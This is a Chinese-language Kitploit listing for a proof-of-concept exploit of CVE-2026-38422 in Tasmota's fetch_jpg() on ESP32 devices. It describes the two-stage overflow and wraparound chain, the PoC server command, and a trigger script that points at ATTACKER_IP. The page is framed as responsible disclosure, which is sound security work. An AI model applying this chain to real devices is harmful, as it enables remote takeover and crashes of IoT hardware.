Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-38422 — CVE-2026-38422 — 通过 Tasmota fetch_jpg() 中的组合缓冲区溢出实现的远程代码执行(Tasmota <= 15.3.0.3) | Kitploit
工具/GitHubGitHub/sermikr0/cve-2026-38422
嵌入式系统安全物联网安全漏洞分析漏洞利用渗透测试硬件与物联网安全远程访问工具二进制利用
GitHubsermikr0/cve-2026-38422

CVE-2026-38422

CVE-2026-38422 — 通过 Tasmota fetch_jpg() 中的组合缓冲区溢出实现的远程代码执行(Tasmota <= 15.3.0.3)

查看仓库
2个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-38422:Tasmota fetch_jpg() 组合缓冲区溢出导致的远程代码执行

CVE: CVE-2026-38422
严重性: 严重(CVSS 9.8)
产品: Arendst Tasmota
受影响版本: <= 15.3.0.3
文件: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
函数: fetch_jpg()
作者: Saidakbarxon Maxsudxonov
披露: 负责任披露 — 在发布前已报告给 Tasmota


概述

Tasmota 的 scripter 驱动(xdrv_10_scripter.ino)中的 fetch_jpg() 函数包含两个可叠加的内存破坏漏洞,二者结合可在运行 Tasmota <= 15.3.0.3 的基于 ESP32 的设备上实现远程代码执行:

  1. 阶段 1(case 0): strcpy() 溢出到固定的 40 字节 boundary[] 缓冲区——破坏相邻堆内存,包括 WiFiClient/HTTPClient vtable 指针(另见 CVE-2026-38426)
  2. 阶段 2(case 2): 对 Content-Length 的 uint16_t 整数回绕——分配过小的缓冲区,导致流状态损坏(另见 CVE-2026-38427)

在同一攻击会话中组合使用这两种原语,可最大化堆破坏效果,并显著提高实现任意代码执行的概率。


漏洞利用链

root@kitploit:~
Attacker MJPEG Server
       │
       │ Phase 1: HTTP 200 response with long boundary string
       │   Content-Type: multipart/x-mixed-replace; boundary=AAAA...AAAA (50+ chars)
       │   → strcpy(boundary[40], 50_chars) → OVERFLOW
       │   → WiFiClient vtable ptr partially overwritten
       ▼
  ESP32 Heap Corrupted
       │
       │ Phase 2: MJPEG frame with Content-Length > 65535
       │   Content-Length: 65537
       │   → uint16_t size = 1 (wraparound)
       │   → malloc(1), readBytes(buff, 1)
       │   → 65536 bytes remain in stream → heap/stream corruption
       ▼
  Double Corruption → RCE / Guaranteed DoS

概念验证

root@kitploit:~
# Combined attack — phase 1 + phase 2
python3 CVE-2026-38422_poc.py --port 8887 --mode dos

PoC 服务器:

  1. 接受来自 Tasmota 的连接(fetchjp() 触发)
  2. 阶段 1: 发送初始 HTTP 200,边界字符串为 80 个字符(溢出)
  3. 阶段 2: 发送带有 Content-Length: 65537 的 MJPEG 帧(回绕)

完整实现请参阅 CVE-2026-38422_poc.py。


通过 Tasmota 脚本触发

root@kitploit:~
>D
>B
fetchjp(ATTACKER_IP:8887/stream,0,0,1)
>1
=fetchjp(2,0,0,1)

设备必须运行使用 fetchjp() 的 Tasmota 脚本。攻击者控制设备所连接的服务器(或对现有连接执行中间人攻击)。


影响

  • 机密性: 高——可在 ESP32 上执行远程代码,访问设备机密/凭据
  • 完整性: 高——完全接管设备
  • 可用性: 高——必然崩溃/重启循环
  • 攻击向量: 网络(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
  • CVSS 评分: 9.8 严重

受影响设备

任何基于 ESP32 的 Tasmota 设备,运行版本 <= 15.3.0.3,启用了 scripter 支持,并使用 fetchjp() 连接外部 MJPEG 服务器。


时间线

  • 2026-03-29: 发现两个漏洞并向 MITRE 报告
  • 2026-03-29: 分配 CVE-2026-38422
  • 2026-05-xx: Tasmota 发布补丁(v15.3.0.4+)

参考

  • Tasmota GitHub
  • xdrv_10_scripter.ino
  • CVE-2026-38422
  • 相关:CVE-2026-38426(strcpy 溢出)
  • 相关:CVE-2026-38427(uint16_t 回绕)
下载工具